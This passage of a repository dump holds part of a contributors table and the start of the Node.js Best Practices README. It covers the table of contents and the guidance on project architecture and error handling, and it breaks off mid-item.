valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/euberdeveloper\"><img src=\"https://avatars.githubusercontent.com/u/33126163?v=4\" width=\"100px;\" alt=\"Eugenio Berretta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eugenio Berretta</b></sub></a><br /><a href=\"#content-euberdeveloper\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/soranakk\"><img src=\"https://avatars.githubusercontent.com/u/3930307?v=4\" width=\"100px;\" alt=\"soranakk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>soranakk</b></sub></a><br /><a href=\"#content-soranakk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/backend-joonyoung\"><img src=\"https://avatars.githubusercontent.com/u/94430145?v=4\" width=\"100px;\" alt=\"고준영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>고준영</b></sub></a><br /><a href=\"#content-backend-joonyoung\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=backend-joonyoung\" title=\"Code\">💻</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GuilhermePortella\"><img src=\"https://avatars.githubusercontent.com/u/59876059?v=4\" width=\"100px;\" alt=\"Guilherme Portella \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Guilherme Portella </b></sub></a><br /><a href=\"#content-GuilhermePortella\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A\"><img src=\"https://avatars.githubusercontent.com/u/18497570?v=4\" width=\"100px;\" alt=\"André Esser\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>André Esser</b></sub></a><br /><a href=\"#content-Esser50K\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ShiChenCong\"><img src=\"https://avatars.githubusercontent.com/u/22486446?v=4\" width=\"100px;\" alt=\"Scc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Scc</b></sub></a><br /><a href=\"#translation-ShiChenCong\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.mauroaccornero.it\"><img src=\"https://avatars.githubusercontent.com/u/1875822?v=4\" width=\"100px;\" alt=\"Mauro Accornero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mauro Accornero</b></sub></a><br /><a href=\"#content-mauroaccornero\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/no-yan\"><img src=\"https://avatars.githubusercontent.com/u/63000297?v=4\" width=\"100px;\" alt=\"no-yan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>no-yan</b></sub></a><br /><a href=\"#content-no-yan\" title=\"Content\">🖋</a></td>\n    </tr>\n  </tbody>\n</table>\n\n<!-- markdownlint-restore -->\n<!-- prettier-ignore-end -->\n\n<!-- ALL-CONTRIBUTORS-LIST:END -->\n"
  },
  {
    "path": "README.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Node.js Best Practices\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js Best Practices\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%20102%20Best%20Practices-blue.svg\" alt=\"102 items\"/> <img id=\"last-update-badge\" src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20January%2024%2C%202023-green.svg\" alt=\"Last update: January 3rd, 2024\" /> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2022.0.0-brightgreen.svg\" alt=\"Updated for Node 22.0.0\"/>\n</div>\n\n<br/>\n\n[<img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\" alt=\"\" />](https://twitter.com/nodepractices/) **Follow us on Twitter!** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\nRead in a different language: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![FR](./assets/flags/FR.png)**FR**](./README.french.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![PL](./assets/flags/PL.png)**PL**](./README.polish.md), [![JA](./assets/flags/JA.png)**JA**](./README.japanese.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** and ![TR](./assets/flags/TR.png)**TR** in progress! )](#translations)\n\n<br/>\n\n# 🎊 2024 edition is here!\n\n- **🛰 Modernized to 2024**: Tons of text edits, new recommended libraries, and some new best practices\n\n- **✨ Easily focus on new content**: Already visited before? Search for `#new` or `#updated` tags for new content only\n\n- **🔖 Curious to see examples? We have a starter**: Visit [Practica.js](https://github.com/practicajs/practica), our application example and boilerplate (beta) to see some practices in action\n\n<br/><br/>\n\n# Welcome! 3 Things You Ought To Know First\n\n**1. You are reading dozens of the best Node.js articles -** this repository is a summary and curation of the top-ranked content on Node.js best practices, as well as content written here by collaborators\n\n**2. It is the largest compilation, and it is growing every week -** currently, more than 80 best practices, style guides, and architectural tips are presented. New issues and pull requests are created every day to keep this live book updated. We'd love to see you contributing here, whether that is fixing code mistakes, helping with translations, or suggesting brilliant new ideas. See our [writing guidelines here](./.operations/writing-guidelines.md)\n\n**3. Best practices have additional info -** most bullets include a **🔗Read More** link that expands on the practice with code examples, quotes from selected blogs, and more information\n\n<br/><br/>\n\n# By Yoni Goldberg\n\n### Learn with me: As a consultant, I engage with worldwide teams on various activities like workshops and code reviews. 🎉AND... Hold on, I've just launched my [beyond-the-basics testing course, which is on a 🎁 limited-time sale](https://testjavascript.com/) until August 7th\n\n<br/><br/>\n\n## Table of Contents\n\n<details>\n  <summary>\n    <a href=\"#1-project-architecture-practices\">1. Project Architecture Practices (6)</a>\n  </summary>\n\n&emsp;&emsp;[1.1 Structure your solution by components `#strategic` `#updated`](#-11-structure-your-solution-by-business-components)</br>\n&emsp;&emsp;[1.2 Layer your components, keep the web layer within its boundaries `#strategic` `#updated`](#-12-layer-your-components-with-3-tiers-keep-the-web-layer-within-its-boundaries)</br>\n&emsp;&emsp;[1.3 Wrap common utilities as packages, consider publishing](#-13-wrap-common-utilities-as-packages-consider-publishing)</br>\n&emsp;&emsp;[1.4 Use environment aware, secure and hierarchical config `#updated`](#-14-use-environment-aware-secure-and-hierarchical-config)</br>\n&emsp;&emsp;[1.5 Consider all the consequences when choosing the main framework `#new`](#-15-consider-all-the-consequences-when-choosing-the-main-framework)</br>\n&emsp;&emsp;[1.6 Use TypeScript sparingly and thoughtfully `#new`](#-16-use-typescript-sparingly-and-thoughtfully)</br>\n\n</details>\n\n<details>\n  <summary>\n    <a href=\"#2-error-handling-practices\">2. Error Handling Practices (12)</a>\n  </summary>\n\n&emsp;&emsp;[2.1 Use Async-Await or promises for async error handling](#-21-use-async-await-or-promises-for-async-error-handling)</br>\n&emsp;&emsp;[2.2 Extend the built-in Error object `#strategic` `#updated`](#-22-extend-the-built-in-error-object)</br>\n&emsp;&emsp;[2.3 Distinguish operational vs programmer errors `#strategic` `#updated`](#-23-distinguish-catastrophic-errors-from-operational-errors)</br>\n&emsp;&emsp;[2.4 Handle errors centrally, not within a middleware `#strategic`](#-24-handle-errors-centrally-not-within-a-middleware)</br>\n&emsp;&emsp;[2.5 Document API errors using OpenAPI or GraphQL](#-25-document-api-errors-using-openapi-or-graphql)</br>\n&emsp;&emsp;[2.6 Exit the process gracefully when a stranger comes to town `#strategic`](#-26-exit-the-process-gracefully-when-a-stranger-comes-to-town)</br>\n&emsp;&emsp;[2.7 Use a mature logger to increase errors visibility `#updated`](#-27-use-a-mature-logger-to-increase-errors-visibility)</br>\n&emsp;&emsp;[2.8 Test error flows using your favorite test framework `#updated`](#-28-test-error-flows-using-your-favorite-test-framework)</br>\n&emsp;&emsp;[2.9 Discover errors and downtime using APM products](#-29-discover-errors-and-downtime-using-apm-products)</br>\n&emsp;&emsp;[2.10 Catch unhandled promise rejections `#updated`](#-210-catch-unhandled-promise-rejections)</br>\n&emsp;&emsp;[2.11 Fail fast, validate arguments using a dedicated library](#-211-fail-fast-validate-arguments-using-a-dedicated-library)</br>\n&emsp;&emsp;[2.12 Always await promises before returning to avoid a partial stacktrace `#new`](#-212-always-await-promises-before-returning-to-avoid-a-partial-stacktrace)</br>\n&emsp;&emsp;[2.13 Subscribe to event emitters 'error' event `#new`](#-213-subscribe-to-event-emitters-and-streams-error-event)</br>\n\n</details>\n\n<details>\n  <summary>\n    <a href=\"#3-code-patterns-and-style-practices\">3. Code Style Practices (12)</a>\n  </summary>\n\n&emsp;&emsp;[3.1 Use ESLint `#strategic`](#-31-use-eslint)</br>\n&emsp;&emsp;[3.2 Use Node.js eslint extension plugins `#updated`](#-32-use-nodejs-eslint-extension-plugins)</br>\n&emsp;&emsp;[3.3 Start a Codeblock's Curly Braces on the Same Line](#-33-start-a-codeblocks-curly-braces-on-the-same-line)</br>\n&emsp;&emsp;[3.4 Separate your statements properly](#-34-separate-your-statements-properly)</br>\n&emsp;&emsp;[3.5 Name your functions](#-35-name-your-functions)</br>\n&emsp;&emsp;[3.6 Use naming conventions for variables, constants, functions and classes](#-36-use-naming-conventions-for-variables-constants-functions-and-classes)</br>\n&emsp;&emsp;[3.7 Prefer const over let. Ditch the var](#-37-prefer-const-over-let-ditch-the-var)</br>\n&emsp;&emsp;[3.8 Require modules first, not inside functions](#-38-require-modules-first-not-inside-functions)</br>\n&emsp;&emsp;[3.9 Set an explicit entry point to a module/folder `#updated`](#-39-set-an-explicit-entry-point-to-a-modulefolder)</br>\n&emsp;&emsp;[3.10 Use the === operator](#-310-use-the--operator)</br>\n&emsp;&emsp;[3.11 Use Async Await, avoid callbacks `#strategic`](#-311-use-async-await-avoid-callbacks)</br>\n&emsp;&emsp;[3.12 Use arrow function expressions (=>)](#-312-use-arrow-function-expressions-)</br>\n&emsp;&emsp;[3.13 Avoid effects outside of functions `#new`](#-313-avoid-effects-outside-of-functions)</br>\n\n</details>\n\n<details>\n  <summary>\n    <a href=\"#4-testing-and-overall-quality-practices\">4. Testing And Overall Quality Practices (13)</a>\n  </summary>\n\n&emsp;&emsp;[4.1 At the very least, write API (component) testing `#strategic`](#-41-at-the-very-least-write-api-component-testing)</br>\n&emsp;&emsp;[4.2 Include 3 parts in each test name `#new`](#-42-include-3-parts-in-each-test-name)</br>\n&emsp;&emsp;[4.3 Structure tests by the AAA pattern `#strategic`](#-43-structure-tests-by-the-aaa-pattern)</br>\n&emsp;&emsp;[4.4 Ensure Node version is unified `#new`](#-44-ensure-node-version-is-unified)</br>\n&emsp;&emsp;[4.5 Avoid global test fixtures and seeds, add data per-test `#strategic`](#-45-avoid-global-test-fixtures-and-seeds-add-data-per-test)</br>\n&emsp;&emsp;[4.6 Tag your tests `#advanced`](#-46-tag-your-tests)</br>\n&emsp;&emsp;[4.7 Check your test coverage, it helps to identify wrong test patterns](#-47-check-your-test-coverage-it-helps-to-identify-wrong-test-patterns)</br>\n&emsp;&emsp;[4.8 Use production-like environment for e2e testing](#-48-use-production-like-environment-for-e2e-testing)</br>\n&emsp;&emsp;[4.9 Refactor regularly using static analysis tools](#-49-refactor-regularly-using-static-analysis-tools)</br>\n&emsp;&emsp;[4.10 Mock responses of external HTTP services #advanced `#new` `#advanced`](#-410-mock-responses-of-external-http-services)</br>\n&emsp;&emsp;[4.11 Test your middlewares in isolation](#-411-test-your-middlewares-in-isolation)</br>\n&emsp;&emsp;[4.12 Specify a port in production, randomize in testing `#new`](#-412-specify-a-port-in-production-randomize-in-testing)</br>\n&emsp;&emsp;[4.13 Test the five possible outcomes #strategic `#new`](#-413-test-the-five-possible-outcomes)</br>\n\n</details>\n\n<details>\n  <summary>\n    <a href=\"#5-going-to-production-practices\">5. Going To Production Practices (19)</a>\n  </summary>\n\n&emsp;&emsp;[5.1. Monitoring `#strategic`](#-51-monitoring)</br>\n&emsp;&emsp;[5.2. Increase the observability using smart logging `#strategic`](#-52-increase-the-observability-using-smart-logging)</br>\n&emsp;&emsp;[5.3. Delegate anything possible (e.g. gzip, SSL) to a reverse proxy `#strategic`](#-53-delegate-anything-possible-eg-gzip-ssl-to-a-reverse-proxy)</br>\n&emsp;&emsp;[5.4. Lock dependencies](#-54-lock-dependencies)</br>\n&emsp;&emsp;[5.5. Guard process uptime using the right tool](#-55-guard-process-uptime-using-the-right-tool)</br>\n&emsp;&emsp;[5.6. Utilize all CPU cores](#-56-utilize-all-cpu-cores)</br>\n&emsp;&emsp;[5.7. Create a ‘maintenance endpoint’](#-57-create-a-maintenance-endpoint)</br>\n&emsp;&emsp;[5.8. Discover the unknowns using APM products `#advanced` `#updated`](#-58-discover-the-unknowns-using-apm-products)</br>\n&emsp;&emsp;[5.9. Make your code production-ready](#-59-make-your-code-production-ready)</br>\n&emsp;&emsp;[5.10. Measure and guard the memory usage `#advanced`](#-510-measure-and-guard-the-memory-usage)</br>\n&emsp;&emsp;[5.11. Get your frontend assets out of Node](#-511-get-your-frontend-assets-out-of-node)</br>\n&emsp;&emsp;[5.12. Strive to be stateless `#strategic`](#-512-strive-to-be-stateless)</br>\n&emsp;&emsp;[5.13. Use tools that automatically detect vulnerabilities](#-513-use-tools-that-automatically-detect-vulnerabilities)</br>\n&emsp;&emsp;[5.14. Assign a transaction id to each log statement `#advanced`](#-514-assign-a-transaction-id-to-each-log-statement)</br>\n&emsp;&emsp;[5.15. Set NODE_ENV=production](#-515-set-node_envproduction)</br>\n&emsp;&emsp;[5.16. Design automated, atomic and zero-downtime deployments `#advanced`](#-516-design-automated-atomic-and-zero-downtime-deployments)</br>\n&emsp;&emsp;[5.17. Use an LTS release of Node.js](#-517-use-an-lts-release-of-nodejs)</br>\n&emsp;&emsp;[5.18. Log to stdout, avoid specifying log destination within the app `#updated`](#-518-log-to-stdout-avoid-specifying-log-destination-within-the-app)</br>\n&emsp;&emsp;[5.19. Install your packages with npm ci `#new`](#-519-install-your-packages-with-npm-ci)</br>\n\n</details>\n\n<details>\n  <summary>\n    <a href=\"#6-security-best-practices\">6. Security Practices (25)</a>\n  </summary>\n\n&emsp;&emsp;[6.1. Embrace linter security rules](#-61-embrace-linter-security-rules)</br>\n&emsp;&emsp;[6.2. Limit concurrent requests using a middleware](#-62-limit-concurrent-requests-using-a-middleware)</br>\n&emsp;&emsp;[6.3 Extract secrets from config files or use packages to encrypt them `#strategic`](#-63-extract-secrets-from-config-files-or-use-packages-to-encrypt-them)</br>\n&emsp;&emsp;[6.4. Prevent query injection vulnerabilities with ORM/ODM libraries `#strategic`](#-64-prevent-query-injection-vulnerabilities-with-ormodm-libraries)</br>\n&emsp;&emsp;[6.5. Collection of generic security best practices](#-65-collection-of-generic-security-best-practices)</br>\n&emsp;&emsp;[6.6. Adjust the HTTP response headers for enhanced security](#-66-adjust-the-http-response-headers-for-enhanced-security)</br>\n&emsp;&emsp;[6.7. Constantly and automatically inspect for vulnerable dependencies `#strategic`](#-67-constantly-and-automatically-inspect-for-vulnerable-dependencies)</br>\n&emsp;&emsp;[6.8. Protect Users' Passwords/Secrets using bcrypt or scrypt `#strategic`](#-68-protect-users-passwordssecrets-using-bcrypt-or-scrypt)</br>\n&emsp;&emsp;[6.9. Escape HTML, JS and CSS output](#-69-escape-html-js-and-css-output)</br>\n&emsp;&emsp;[6.10. Validate incoming JSON schemas `#strategic`](#-610-validate-incoming-json-schemas)</br>\n&emsp;&emsp;[6.11. Support blocklisting JWTs](#-611-support-blocklisting-jwts)</br>\n&emsp;&emsp;[6.12. Prevent brute-force attacks against authorization `#advanced`](#-612-prevent-brute-force-attacks-against-authorization)</br>\n&emsp;&emsp;[6.13. Run Node.js as non-root user](#-613-run-nodejs-as-non-root-user)</br>\n&emsp;&emsp;[6.14. Limit payload size using a reverse-proxy or a middleware](#-614-limit-payload-size-using-a-reverse-proxy-or-a-middleware)</br>\n&emsp;&emsp;[6.15. Avoid JavaScript eval statements](#-615-avoid-javascript-eval-statements)</br>\n&emsp;&emsp;[6.16. Prevent evil RegEx from overloading your single thread execution](#-616-prevent-evil-regex-from-overloading-your-single-thread-execution)</br>\n&emsp;&emsp;[6.17. Avoid module loading using a variable](#-617-avoid-module-loading-using-a-variable)</br>\n&emsp;&emsp;[6.18. Run unsafe code in a sandbox](#-618-run-unsafe-code-in-a-sandbox)</br>\n&emsp;&emsp;[6.19. Take extra care when working with child processes `#advanced`](#-619-take-extra-care-when-working-with-child-processes)</br>\n&emsp;&emsp;[6.20. Hide error details from clients](#-620-hide-error-details-from-clients)</br>\n&emsp;&emsp;[6.21. Configure 2FA for npm or Yarn `#strategic`](#-621-configure-2fa-for-npm-or-yarn)</br>\n&emsp;&emsp;[6.22. Modify session middleware settings](#-622-modify-session-middleware-settings)</br>\n&emsp;&emsp;[6.23. Avoid DOS attacks by explicitly setting when a process should crash `#advanced`](#-623-avoid-dos-attacks-by-explicitly-setting-when-a-process-should-crash)</br>\n&emsp;&emsp;[6.24. Prevent unsafe redirects](#-624-prevent-unsafe-redirects)</br>\n&emsp;&emsp;[6.25. Avoid publishing secrets to the npm registry](#-625-avoid-publishing-secrets-to-the-npm-registry)</br>\n&emsp;&emsp;[6.26. 6.26 Inspect for outdated packages](#-626-inspect-for-outdated-packages)</br>\n&emsp;&emsp;[6.27. Import built-in modules using the 'node:' protocol `#new`](#-627-import-built-in-modules-using-the-node-protocol)</br>\n\n</details>\n\n<details>\n  <summary>\n    <a href=\"#7-draft-performance-best-practices\">7. Performance Practices (2) (Work In Progress️ ✍️)</a>\n  </summary>\n\n&emsp;&emsp;[7.1. Don't block the event loop](#-71-dont-block-the-event-loop)</br>\n&emsp;&emsp;[7.2. Prefer native JS methods over user-land utils like Lodash](#-72-prefer-native-js-methods-over-user-land-utils-like-lodash)</br>\n\n</details>\n\n<details>\n  <summary>\n    <a href=\"#8-docker-best-practices\">8. Docker Practices (15)</a>\n  </summary>\n\n&emsp;&emsp;[8.1 Use multi-stage builds for leaner and more secure Docker images `#strategic`](#-81-use-multi-stage-builds-for-leaner-and-more-secure-docker-images)</br>\n&emsp;&emsp;[8.2. Bootstrap using node command, avoid npm start](#-82-bootstrap-using-node-command-avoid-npm-start)</br>\n&emsp;&emsp;[8.3. Let the Docker runtime handle replication and uptime `#strategic`](#-83-let-the-docker-runtime-handle-replication-and-uptime)</br>\n&emsp;&emsp;[8.4. Use .dockerignore to prevent leaking secrets](#-84-use-dockerignore-to-prevent-leaking-secrets)</br>\n&emsp;&emsp;[8.5. Clean-up dependencies before production](#-85-clean-up-dependencies-before-production)</br>\n&emsp;&emsp;[8.6. Shutdown smartly and gracefully `#advanced`](#-86-shutdown-smartly-and-gracefully)</br>\n&emsp;&emsp;[8.7. Set memory limits using both Docker and v8 `#advanced` `#strategic`](#-87-set-memory-limits-using-both-docker-and-v8)</br>\n&emsp;&emsp;[8.8. Plan for efficient caching](#-88-plan-for-efficient-caching)</br>\n&emsp;&emsp;[8.9. Use explicit image reference, avoid latest tag](#-89-use-explicit-image-reference-avoid-latest-tag)</br>\n&emsp;&emsp;[8.10. Prefer smaller Docker base images](#-810-prefer-smaller-docker-base-images)</br>\n&emsp;&emsp;[8.11. Clean-out build-time secrets, avoid secrets in args `#strategic #new`](#-811-clean-out-build-time-secrets-avoid-secrets-in-args)</br>\n&emsp;&emsp;[8.12. Scan images for multi layers of vulnerabilities `#advanced`](#-812-scan-images-for-multi-layers-of-vulnerabilities)</br>\n&emsp;&emsp;[8.13 Clean NODE_MODULE cache](#-813-clean-node_module-cache)</br>\n&emsp;&emsp;[8.14. Generic Docker practices](#-814-generic-docker-practices)</br>\n&emsp;&emsp;[8.15. Lint your Dockerfile `#new`](#-815-lint-your-dockerfile)</br>\n\n</details>\n\n<br/><br/>\n\n# `1. Project Architecture Practices`\n\n## ![✔] 1.1 Structure your solution by business components\n\n### `📝 #updated`\n\n**TL;DR:** The root of a system should contain folders or repositories that represent reasonably sized business modules. Each component represents a product domain (i.e., bounded context), like 'user-component', 'order-component', etc. Each component has its own API, logic, and logical database. What is the significant merit? With an autonomous component, every change is performed over a granular and smaller scope - the mental overload, development friction, and deployment fear are much smaller and better. As a result, developers can move much faster. This does not necessarily demand physical separation and can be achieved using a Monorepo or with a multi-repo\n\n```bash\nmy-system\n├─ apps (components)\n│  ├─ orders\n│  ├─ users\n│  ├─ payments\n├─ libraries (generic cross-component functionality)\n│  ├─ logger\n│  ├─ authenticator\n```\n\n**Otherwise:** when artifacts from various modules/topics are mixed together, there are great chances of a tightly-coupled 'spaghetti' system. For example, in an architecture where 'module-a controller' might call 'module-b service', there are no clear modularity borders - every code change might affect anything else. With this approach, developers who code new features struggle to realize the scope and impact of their change. Consequently, they fear breaking other modules, and each deployment becomes slower and riskier\n\n🔗 [**Read More: structure by components**](./sections/projectstructre/breakintcomponents.md)\n\n<br/><br/>\n\n## ![✔] 1.2 Layer your components with 3-tiers, keep the web layer within its boundaries\n\n### `📝 #updated`\n\n**TL;DR:** Each component should contain 'layers' - a dedicated folder for common concerns: 'entry-point' where controller lives, 'domain' where the logic lives, and 'data-access'. The primary principle of the most popular architectures is to separate the technical concerns (e.g., HTTP, DB, etc) from the pure logic of the app so a developer can code more features without worrying about infrastructural concerns. Putting each concern in a dedicated folder, also known as the [3-Tier pattern](https://en.wikipedia.org/wiki/Multitier_architecture), is the _simplest_ way to meet this goal\n\n```bash\nmy-system\n├─ apps (components)\n│  ├─ component-a\n   │  ├─ entry-points\n   │  │  ├─ api # controller comes here\n   │  │  ├─ message-queue # message consumer comes here\n   │  ├─ domain # features and flows: DTO, services, logic\n   │  ├─ data-access # DB calls w/o ORM\n```\n\n**Otherwise:** It's often seen that developer pass web objects like request/response to functions in the domain/logic layer - this violates the separation principle and makes it harder to access later the logic code by other clients like testing code, scheduled jobs, message queues, etc\n\n🔗 [**Read More: layer your app**](./sections/projectstructre/createlayers.md)\n\n<br/><br/>\n\n## ![✔] 1.3 Wrap common utilities as packages, consider publishing\n\n**TL;DR:** Place all reusable modules in a dedicated folder, e.g., \"libraries\", and underneath each module in its own folder, e.g., \"/libraries/logger\". Make the module an independent package with its own package.json file to increase the module encapsulation, and allows future publishing to a repository. In a Monorepo setup, modules can be consumed by 'npm linking' to their physical paths, using ts-paths or by publishing and installing from a package manager repository like the npm registry\n\n```bash\nmy-system\n├─ apps (components)\n  │  ├─ component-a\n├─ libraries (generic cross-component functionality)\n│  ├─ logger\n│  │  ├─ package.json\n│  │  ├─ src\n│  │  │ ├─ index.js\n\n```\n\n**Otherwise:** Clients of a module might import and get coupled to internal functionality of a module. With a package.json at the root, one can set a package.json.main or package.json.exports to explicitly tell which files and functions are part of the public interface\n\n🔗 [**Read More: Structure by feature**](./sections/projectstructre/wraputilities.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Use environment aware, secure and hierarchical config\n\n### `📝 #updated`\n\n**TL;DR:** A flawless configuration setup should ensure (a) keys can be read from file AND from environment variable (b) secrets are kept outside committed code (c) config is hierarchical for easier findability (d) typing support (e) validation for failing fast (f) Specify default for each key. There are a few packages that can help tick most of those boxes like [convict](https://www.npmjs.com/package/convict), [env-var](https://github.com/evanshortiss/env-var), [zod](https://github.com/colinhacks/zod), and others\n\n**Otherwise:** Consider a mandatory environment variable that wasn't provided. The app starts successfully and serve requests, some information is already persisted to DB. Then, it's realized that without this mandatory key the request can't complete, leaving the app in a dirty state\n\n🔗 [**Read More: configuration best practices**](./sections/projectstructre/configguide.md)\n\n<br/><br/>\n\n## ![✔] 1.5 Consider all the consequences when choosing the main framework\n\n### `🌟 #new`\n\n**TL;DR:** When building apps and APIs, using a framework is mandatory. It's easy to overlook alternative frameworks or important considerations and then finally land on a sub optimal option. As of 2023/2024, we believe that these four frameworks are worth considering: [Nest.js](https://nestjs.com/), [Fastify](https://www.fastify.io/), [express](https://expressjs.com/), and [Koa](https://koajs.com/). Click read more below for a detailed pros/cons of each framework. Simplistically, we believe that Nest.js is the best match for teams who wish to go OOP and/or build large-scale apps that can't get partitioned into smaller _autonomous_ components. Fastify is our recommendation for apps with reasonably-sized components (e.g., Microservices) that are built around simple Node.js mechanics. Read our [full considerations guide here](./sections/projectstructre/choose-framework.md)\n\n**Otherwise:** Due to the overwhelming amount of considerations, it's easy to make decisions based on partial information and compare apples with oranges. For example, it's believed that Fastify is a minimal web-server that should get compared with express only. In reality, it's a rich framework with many official plugins that cover many concerns\n\n🔗 [**Read More: Choosing the right framework**](./sections/projectstructre/choose-framework.md)\n\n## ![✔] 1.6 Use TypeScript sparingly and thoughtfully\n\n### `🌟 #new`\n\n**TL;DR:** Coding without type safety is no longer an option, TypeScript is the most popular option for this mission. Use it to define variables and functions return types. With that, it is also a double edge sword that can greatly _encourage_ complexity with its additional ~ 50 keywords and sophisticated features. Consider using it sparingly, mostly with simple types, and utilize advanced features only when a real need arises\n\n**Otherwise:** [Researches](https://earlbarr.com/publications/typestudy.pdf) show that using TypeScript can help in detecting ~20% bugs earlier. Without it, also the developer experience in the IDE is intolerable. On the flip side, 80% of other bugs were not discovered using types. Consequently, typed syntax is valuable but limited. Only efficient tests can discover the whole spectrum of bugs, including type-related bugs. It might also defeat its purpose: sophisticated code features are likely to increase the code complexity, which by itself increases both the amount of bugs and the average bug fix time\n\n🔗 [**Read More: TypeScript considerations**](./sections/projectstructre/typescript-considerations.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n# `2. Error Handling Practices`\n\n## ![✔] 2.1 Use Async-Await or promises for async error handling\n\n**TL;DR:** Handling async errors in callback style is probably the fastest way to hell (a.k.a the pyramid of doom). The best gift you can give to your code is using Promises with async-await which enables a much more compact and familiar code syntax like try-catch\n\n**Otherwise:** Node.js callback style, function(err, response), is a promising way to un-maintainable code due to the mix of error handling with casual code, excessive nesting, and awkward coding patterns\n\n🔗 [**Read More: avoiding callbacks**](./sections/errorhandling/asyncerrorhandling.md)\n\n<br/><br/>\n\n## ![✔] 2.2 Extend the built-in Error object\n\n### `📝 #updated`\n\n**TL;DR:** Some libraries throw errors as a string or as some custom type – this complicates the error handling logic and the interoperability between modules. Instead, create app error object/class that extends the built-in Error object and use it whenever rejecting, throwing or emitting an error. The app error should add useful imperative properties like the error name/code and isCatastrophic. By doing so, all errors have a unified structure and support better error handling. There is `no-throw-literal` ESLint rule that strictly checks that (although it has some [limitations](https://eslint.org/docs/rules/no-throw-literal) which can be solved when using TypeScript and setting the `@typescript-eslint/no-throw-literal` rule)\n\n**Otherwise:** When invoking some component, being uncertain which type of errors come in return – it makes proper error handling much harder. Even worse, using custom types to describe errors might lead to loss of critical error information like the stack trace!\n\n🔗 [**Read More: using the built-in error object**](./sections/errorhandling/useonlythebuiltinerror.md)\n\n<br/><br/>\n\n## ![✔] 2.3 Distinguish catastrophic errors from operational errors\n\n### `📝 #updated`\n\n**TL;DR:** Operational errors (e.g. API received an invalid input) refer to known cases where the error impact is fully understood and can be handled thoughtfully. On the other hand, catastrophic error (also known as programmer errors) refers to unusual code failures that dictate to gracefully restart the application\n\n**Otherwise:** You may always restart the application when an error appears, but why let ~5000 online users down because of a minor, predicted, operational error? The opposite is also not ideal – keeping the application up when an unknown catastrophic issue (programmer error) occurred might lead to an unpredicted behavior. Differentiating the two allows acting tactfully and applying a balanced approach based on the given context\n\n🔗 [**Read More: operational vs programmer error**](./sections/errorhandling/operationalvsprogrammererror.md)\n\n<br/><br/>\n\n## ![✔] 2.4 Handle errors centrally, not within a middleware\n\n**TL;DR:** Error handling logic such as logging, deciding whether to crash and monitoring metrics should be encapsulated in a dedicated and centralized object that all entry-points (e.g. APIs, cron jobs, scheduled jobs) call when an error comes in\n\n**Otherwise:** Not handling errors within a single place will lead to code duplication and probably to improperly handled errors\n\n🔗 [**Read More: handling errors in a centralized place**](./sections/errorhandling/centralizedhandling.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Document API errors using OpenAPI or GraphQL\n\n**TL;DR:** Let your API callers know which errors might come in return so they can handle these thoughtfully without crashing. For RESTful APIs, this is usually done with documentation frameworks like OpenAPI. If you're using GraphQL, you can utilize your schema and comments as well\n\n**Otherwise:** An API client might decide to crash and restart only because it received back an error it couldn’t understand. Note: the caller of your API might be you (very typical in a microservice environment)\n\n🔗 [**Read More: documenting API errors in Swagger or GraphQL**](./sections/errorhandling/documentingusingswagger.md)\n\n<br/><br/>\n\n## ![✔] 2.6 Exit the process gracefully when a stranger comes to town\n\n**TL;DR:** When an unknown error occurs (catastrophic error, see best practice 2.3) - there is uncertainty about the application healthiness. In this case, there is no escape from making the error observable, shutting off connections and exiting the process. Any reputable runtime framework like Dockerized services or cloud serverless solutions will take care to restart\n\n**Otherwise:** When an unfamiliar exception occurs, some object might be in a faulty state 